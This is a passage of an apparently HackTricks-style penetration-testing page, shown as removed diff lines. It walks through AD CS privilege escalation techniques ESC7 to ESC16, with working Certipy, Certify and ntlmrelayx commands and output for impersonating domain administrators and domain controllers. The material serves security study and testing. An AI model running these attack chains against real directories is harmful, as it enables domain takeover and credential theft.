-> [!WARNING]
-> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
-
-Therefore, another attack is presented here.
-
-Perquisites:
-
-- Only **`ManageCA` permission**
-- **`Manage Certificates`** permission (can be granted from **`ManageCA`**)
-- Certificate template **`SubCA`** must be **enabled** (can be enabled from **`ManageCA`**)
-
-The technique relies on the fact that users with the `Manage CA` _and_ `Manage Certificates` access right can **issue failed certificate requests**. The **`SubCA`** certificate template is **vulnerable to ESC1**, but **only administrators** can enroll in the template. Thus, a **user** can **request** to enroll in the **`SubCA`** - which will be **denied** - but **then issued by the manager afterwards**.
-
-#### Abuse
-
-You can **grant yourself the `Manage Certificates`** access right by adding your user as a new officer.
-
-```bash
-certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Successfully added officer 'John' on 'corp-DC-CA'
-```
-
-The **`SubCA`** template can be **enabled on the CA** with the `-enable-template` parameter. By default, the `SubCA` template is enabled.
-
-```bash
-# List templates
-certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
-## If SubCA is not there, you need to enable it
-
-# Enable SubCA
-certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
-```
-
-If we have fulfilled the prerequisites for this attack, we can start by **requesting a certificate based on the `SubCA` template**.
-
-**This request will be denie**d, but we will save the private key and note down the request ID.
-
-```bash
-certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Requesting certificate via RPC
-[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
-[*] Request ID is 785
-Would you like to save the private key? (y/N) y
-[*] Saved private key to 785.key
-[-] Failed to request certificate
-```
-
-With our **`Manage CA` and `Manage Certificates`**, we can then **issue the failed certificate** request with the `ca` command and the `-issue-request <request ID>` parameter.
-
-```bash
-certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Successfully issued certificate
-```
-
-And finally, we can **retrieve the issued certificate** with the `req` command and the `-retrieve <request ID>` parameter.
-
-```bash
-certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Rerieving certificate with ID 785
-[*] Successfully retrieved certificate
-[*] Got certificate with UPN 'administrator@corp.local'
-[*] Certificate has no object SID
-[*] Loaded private key from '785.key'
-[*] Saved certificate and private key to 'administrator.pfx'
-```
-
-### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
-
-#### Explanation
-
-In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA.
-
-The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*.  While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval.
-
-Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued.  The resulting certificate therefore contains an attacker-chosen extension that may:
-
-* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation).
-* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems.
-
-In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right.
-
-#### Abusing the primitive with Certify 2.0
-
-1. **Submit a certificate request that will remain *pending*.**  This can be forced with a template that requires manager approval:
-   ```powershell
-   Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
-   # Take note of the returned Request ID
-   ```
-
-2. **Append a custom extension to the pending request** using the new `manage-ca` command:
-   ```powershell
-   Certify.exe manage-ca --ca SERVER\\CA-NAME \
-                     --request-id 1337 \
-                     --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
-   ```
-   *If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
-
-3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it.  Once issued, download the certificate:
-   ```powershell
-   Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
-   ```
-
-4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
-
-> NOTE:  The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
-
-## NTLM Relay to AD CS HTTP Endpoints – ESC8
-
-### Explanation
-
-> [!TIP]
-> In environments where **AD CS is installed**, if a **web enrollment endpoint vulnerable** exists and at least one **certificate template is published** that permits **domain computer enrollment and client authentication** (such as the default **`Machine`** template), it becomes possible for **any computer with the spooler service active to be compromised by an attacker**!
-
-Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**.
-
-- The **web enrollment interface** (an older ASP application available at `http://<caserver>/certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable.
-- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding.
-
-A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**.
-
-Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to:
-
-
-{{#ref}}
-account-persistence.md
-{{#endref}}
-
-Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication:
-
-
-{{#ref}}
-../printers-spooler-service-abuse.md
-{{#endref}}
-
-### **Abuse**
-
-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:
-
-```
-Certify.exe cas
-```
-
-<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
-
-The `msPKI-Enrollment-Servers` property is used by enterprise Certificate Authorities (CAs) to store Certificate Enrollment Service (CES) endpoints. These endpoints can be parsed and listed by utilizing the tool **Certutil.exe**:
-
-```
-certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
-```
-
-<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
-
-```bash
-Import-Module PSPKI
-Get-CertificationAuthority | select Name,Enroll* | Format-List *
-```
-
-<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
-
-#### Abuse with Certify
-
-```bash
-## In the victim machine
-# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
-PortBender redirect 445 8445
-rportfwd 8445 127.0.0.1 445
-# Prepare a proxy that the attacker can use
-socks 1080
-
-## In the attackers
-proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
-
-# Force authentication from victim to compromised machine with port forwards
-execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
-```
-
-#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
-
-The request for a certificate is made by Certipy by default based on the template `Machine` or `User`, determined by whether the account name being relayed ends in `$`. The specification of an alternative template can be achieved through the use of the `-template` parameter.
-
-A technique like [PetitPotam](https://github.com/ly4k/PetitPotam) can then be employed to coerce authentication. When dealing with domain controllers, the specification of `-template DomainController` is required.
-
-```bash
-certipy relay -ca ca.corp.local
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
-[*] Listening on 0.0.0.0:445
-[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
-[*] Got certificate with UPN 'Administrator@corp.local'
-[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
-[*] Saved certificate and private key to 'administrator.pfx'
-[*] Exiting...
-```
-
-## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
-
-### Explanation
-
-The new value **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) for **`msPKI-Enrollment-Flag`**, referred to as ESC9, prevents the embedding of the **new `szOID_NTDS_CA_SECURITY_EXT` security extension** in a certificate. This flag becomes relevant when `StrongCertificateBindingEnforcement` is set to `1` (the default setting), which contrasts with a setting of `2`. Its relevance is heightened in scenarios where a weaker certificate mapping for Kerberos or Schannel might be exploited (as in ESC10), given that the absence of ESC9 would not alter the requirements.
-
-The conditions under which this flag's setting becomes significant include:
-
-- `StrongCertificateBindingEnforcement` is not adjusted to `2` (with the default being `1`), or `CertificateMappingMethods` includes the `UPN` flag.
-- The certificate is marked with the `CT_FLAG_NO_SECURITY_EXTENSION` flag within the `msPKI-Enrollment-Flag` setting.
-- Any client authentication EKU is specified by the certificate.
-- `GenericWrite` permissions are available over any account to compromise another.
-
-### Abuse Scenario
-
-Suppose `John@corp.local` holds `GenericWrite` permissions over `Jane@corp.local`, with the goal to compromise `Administrator@corp.local`. The `ESC9` certificate template, which `Jane@corp.local` is permitted to enroll in, is configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` setting.
-
-Initially, `Jane`'s hash is acquired using Shadow Credentials, thanks to `John`'s `GenericWrite`:
-
-```bash
-certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
-```
-
-Subsequently, `Jane`'s `userPrincipalName` is modified to `Administrator`, purposely omitting the `@corp.local` domain part:
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
-```
-
-This modification does not violate constraints, given that `Administrator@corp.local` remains distinct as `Administrator`'s `userPrincipalName`.
-
-Following this, the `ESC9` certificate template, marked vulnerable, is requested as `Jane`:
-
-```bash
-certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
-```
-
-It's noted that the certificate's `userPrincipalName` reflects `Administrator`, devoid of any “object SID”.
-
-`Jane`'s `userPrincipalName` is then reverted to her original, `Jane@corp.local`:
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
-```
-
-Attempting authentication with the issued certificate now yields the NT hash of `Administrator@corp.local`. The command must include `-domain <domain>` due to the certificate's lack of domain specification:
-
-```bash
-certipy auth -pfx adminitrator.pfx -domain corp.local
-```
-
-## Weak Certificate Mappings - ESC10
-
-### Explanation
-
-Two registry key values on the domain controller are referred to by ESC10:
-
-- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
-- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
-
-**Case 1**
-
-When `StrongCertificateBindingEnforcement` is configured as `0`.
-
-**Case 2**
-
-If `CertificateMappingMethods` includes the `UPN` bit (`0x4`).
-
-### Abuse Case 1
-
-With `StrongCertificateBindingEnforcement` configured as `0`, an account A with `GenericWrite` permissions can be exploited to compromise any account B.
-
-For instance, having `GenericWrite` permissions over `Jane@corp.local`, an attacker aims to compromise `Administrator@corp.local`. The procedure mirrors ESC9, allowing any certificate template to be utilized.
-
-Initially, `Jane`'s hash is retrieved using Shadow Credentials, exploiting the `GenericWrite`.
-
-```bash
-certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
-```
-
-Subsequently, `Jane`'s `userPrincipalName` is altered to `Administrator`, deliberately omitting the `@corp.local` portion to avoid a constraint violation.
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
-```
-
-Following this, a certificate enabling client authentication is requested as `Jane`, using the default `User` template.
-
-```bash
-certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
-```
-
-`Jane`'s `userPrincipalName` is then reverted to its original, `Jane@corp.local`.
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
-```
-
-Authenticating with the obtained certificate will yield the NT hash of `Administrator@corp.local`, necessitating the specification of the domain in the command due to the absence of domain details in the certificate.
-
-```bash
-certipy auth -pfx administrator.pfx -domain corp.local
-```
-
-### Abuse Case 2
-
-With the `CertificateMappingMethods` containing the `UPN` bit flag (`0x4`), an account A with `GenericWrite` permissions can compromise any account B lacking a `userPrincipalName` property, including machine accounts and the built-in domain administrator `Administrator`.
-
-Here, the goal is to compromise `DC$@corp.local`, starting with obtaining `Jane`'s hash through Shadow Credentials, leveraging the `GenericWrite`.
-
-```bash
-certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
-```
-
-`Jane`'s `userPrincipalName` is then set to `DC$@corp.local`.
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
-```
-
-A certificate for client authentication is requested as `Jane` using the default `User` template.
-
-```bash
-certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
-```
-
-`Jane`'s `userPrincipalName` is reverted to its original after this process.
-
-```bash
-certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
-```
-
-To authenticate via Schannel, Certipy’s `-ldap-shell` option is utilized, indicating authentication success as `u:CORP\DC$`.
-
-```bash
-certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
-```
-
-Through the LDAP shell, commands such as `set_rbcd` enable Resource-Based Constrained Delegation (RBCD) attacks, potentially compromising the domain controller.
-
-```bash
-certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
-```
-
-This vulnerability also extends to any user account lacking a `userPrincipalName` or where it does not match the `sAMAccountName`, with the default `Administrator@corp.local` being a prime target due to its elevated LDAP privileges and the absence of a `userPrincipalName` by default.
-
-## Relaying NTLM to ICPR - ESC11
-
-### Explanation
-
-If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
-
-You can use `certipy` to enumerate if `Enforce Encryption for Requests` is Disabled and certipy will show `ESC11` Vulnerabilities.
-
-```bash
-$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
-Certipy v4.0.0 - by Oliver Lyak (ly4k)
-
-Certificate Authorities
-  0
-    CA Name                             : DC01-CA
-    DNS Name                            : DC01.domain.local
-    Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
-    ....
-    Enforce Encryption for Requests     : Disabled
-    ....
-    [!] Vulnerabilities
-      ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
-
-```
-
-### Abuse Scenario
-
-It need to setup a relay server:
-
-```bash
-$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
-Certipy v4.7.0 - by Oliver Lyak (ly4k)
-
-[*] Targeting rpc://DC01.domain.local (ESC11)
-[*] Listening on 0.0.0.0:445
-[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
-[*] Attacking user 'Administrator@DOMAIN'
-[*] Template was not defined. Defaulting to Machine/User
-[*] Requesting certificate for user 'Administrator' with template 'User'
-[*] Requesting certificate via RPC
-[*] Successfully requested certificate
-[*] Request ID is 10
-[*] Got certificate with UPN 'Administrator@domain.local'
-[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
-[*] Saved certificate and private key to 'administrator.pfx'
-[*] Exiting...
-```
-
-Note: For domain controllers, we must specify `-template` in DomainController.
-
-Or using [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
-
-```bash
-$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
-```
-
-## Shell access to ADCS CA with YubiHSM - ESC12
-
-### Explanation
-
-Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2".
-
-If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
-
-This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
-
-Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
-
-### Abuse Scenario
-
-If the CA's private key stored on a physical USB device when you got a shell access, it is possible to recover the key.
-
-In first, you need to obtain the CA certificate (this is public) and then:
-
-```cmd
-# import it to the user store with CA certificate
-$ certutil -addstore -user my <CA certificate file>
-
-# Associated with the private key in the YubiHSM2 device
-$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
-```
-
-Finally, use the certutil `-sign` command to forge a new arbitrary certificate using the CA certificate and its private key.
-
-## OID Group Link Abuse - ESC13
-
-### Explanation
-
-The `msPKI-Certificate-Policy` attribute allows the issuance policy to be added to the certificate template. The `msPKI-Enterprise-Oid` objects that are responsible for issuing policies can be discovered in the Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) of the PKI OID container. A policy can be linked to an AD group using this object's `msDS-OIDToGroupLink` attribute, enabling a system to authorize a user who presents the certificate as though he were a member of the group. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
-
-In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.
-
-Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
-
-```bash
-Enumerating OIDs
-------------------------
-OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
-
-OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
-OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
-OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
-OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
-------------------------
-Enumerating certificate templates
-------------------------
-Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
-
-Certificate template Name: VulnerableTemplate
-OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
-OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
-OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
-OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
-------------------------
-```
-
-### Abuse Scenario
-
-Find a user permission it can use `certipy find` or `Certify.exe find /showAllPermissions`.
-
-If `John` have have permission to enroll `VulnerableTemplate`, the user can inherit the privileges of `VulnerableGroup` group.
-
-All it need to do just specify the template, it will get a certificate with OIDToGroupLink rights.
-
-```bash
-certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
-```
-
-## Vulnerable Certificate Renewal Configuration- ESC14
-
-### Explanation
-
-The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.
-
-ESC14 addresses vulnerabilities arising from "weak explicit certificate mapping", primarily through the misuse or insecure configuration of the `altSecurityIdentities` attribute on Active Directory user or computer accounts. This multi-valued attribute allows administrators to manually associate X.509 certificates with an AD account for authentication purposes. When populated, these explicit mappings can override the default certificate mapping logic, which typically relies on UPNs or DNS names in the SAN of the certificate, or the SID embedded in the `szOID_NTDS_CA_SECURITY_EXT` security extension.
-
-A "weak" mapping occurs when the string value used within the `altSecurityIdentities` attribute to identify a certificate is too broad, easily guessable, relies on non-unique certificate fields, or uses easily spoofable certificate components. If an attacker can obtain or craft a certificate whose attributes match such a weakly defined explicit mapping for a privileged account, they can use that certificate to authenticate as and impersonate that account.
-
-Examples of potentially weak `altSecurityIdentities` mapping strings include:
-
-- Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source.
-- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
-
-The `altSecurityIdentities` attribute supports various formats for mapping, such as:
-
-- `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
-- `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
-
-The security of these mappings depends heavily on the specificity, uniqueness, and cryptographic strength of the chosen certificate identifiers used in the mapping string. Even with strong certificate binding modes enabled on Domain Controllers (which primarily affect implicit mappings based on SAN UPNs/DNS and the SID extension), a poorly configured `altSecurityIdentities` entry can still present a direct path for impersonation if the mapping logic itself is flawed or too permissive.
-### Abuse Scenario
-
-ESC14 targets **explicit certificate mappings** in Active Directory (AD), specifically the `altSecurityIdentities` attribute. If this attribute is set (by design or misconfiguration), attackers can impersonate accounts by presenting certificates that match the mapping.
-
-#### Scenario A: Attacker Can Write to `altSecurityIdentities`
-
- **Precondition**: Attacker has write permissions to the target account’s `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object:  
-- Write property `altSecurityIdentities`  
-- Write property `Public-Information`  
-- Write property (all)  
-- `WriteDACL`  
-- `WriteOwner`*  
-- `GenericWrite`  
-- `GenericAll`  
-- Owner*.
-#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
-
-- **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target.
-#### Scenario C: Target Has X509IssuerSubject Mapping
-
-- **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
-#### Scenario D: Target Has X509SubjectOnly Mapping
-
-- **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
-### concrete operations
-#### Scenario A
-
-Request a certificate of the certificate template `Machine`
-
-```bash
-.\Certify.exe request /ca:<ca> /template:Machine /machine
-```
-
- Save and convert the certificate
-
-```bash
-certutil -MergePFX .\esc13.pem .\esc13.pfx
-```
-
- Authenticate (using the certificate)
-
-```bash
-.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
-```
-
-Cleanup (optional)
-
-```bash
-Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
-```
-
-For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
-
-## EKUwu Application Policies(CVE-2024-49019) - ESC15
-
-### Explanation
-
-The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.
-
-Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
-
-### Abuse
-
-The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
-
-
-Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
-
-```bash
-certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
-```
-
-#### Scenario A: Direct Impersonation via Schannel
-
-**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (which allows enrollee-supplied subject).
-
-```bash
-certipy req \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-    -ca 'CORP-CA' -template 'WebServer' \
-    -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-    -application-policies 'Client Authentication'
-```
-
-- `-template 'WebServer'`: The vulnerable V1 template with "Enrollee supplies subject".
-- `-application-policies 'Client Authentication'`: Injects the OID `1.3.6.1.5.5.7.3.2` into the Application Policies extension of the CSR.
-- `-upn 'administrator@corp.local'`: Sets the UPN in the SAN for impersonation.
-
-**Step 2: Authenticate via Schannel (LDAPS) using the obtained certificate.**
-
-```bash
-certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
-```
-
-#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
-
-**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** This certificate is for the attacker (`attacker@corp.local`) to become an enrollment agent. No UPN is specified for the attacker's own identity here, as the goal is the agent capability.
-
-```bash
-certipy req \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-    -ca 'CORP-CA' -template 'WebServer' \
-    -application-policies 'Certificate Request Agent'
-```
-
-- `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`.
-
-**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** This is an ESC3-like step, using the certificate from Step 1 as the agent certificate.
-
-```bash
-certipy req \
-    -u 'attacker@corp.local' -p 'Passw0rd!' \
-    -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-    -ca 'CORP-CA' -template 'User' \
-    -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
-```
-
-**Step 3: Authenticate as the privileged user using the "on-behalf-of" certificate.**
-
-```bash
-certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
-```
-
-## Security Extension Disabled on CA (Globally)-ESC16
-
-### Explanation
-
-**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** refers to the scenario where, if the configuration of AD CS does not enforce the inclusion of the **szOID_NTDS_CA_SECURITY_EXT** extension in all certificates, an attacker can exploit this by:
-
-1. Requesting a certificate **without SID binding**.
-    
-2. Using this certificate **for authentication as any account**, such as impersonating a high-privilege account (e.g., a Domain Administrator).
-
-You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
-
-### Abuse
-
-The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods.
-
-To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16**
-
-```bash
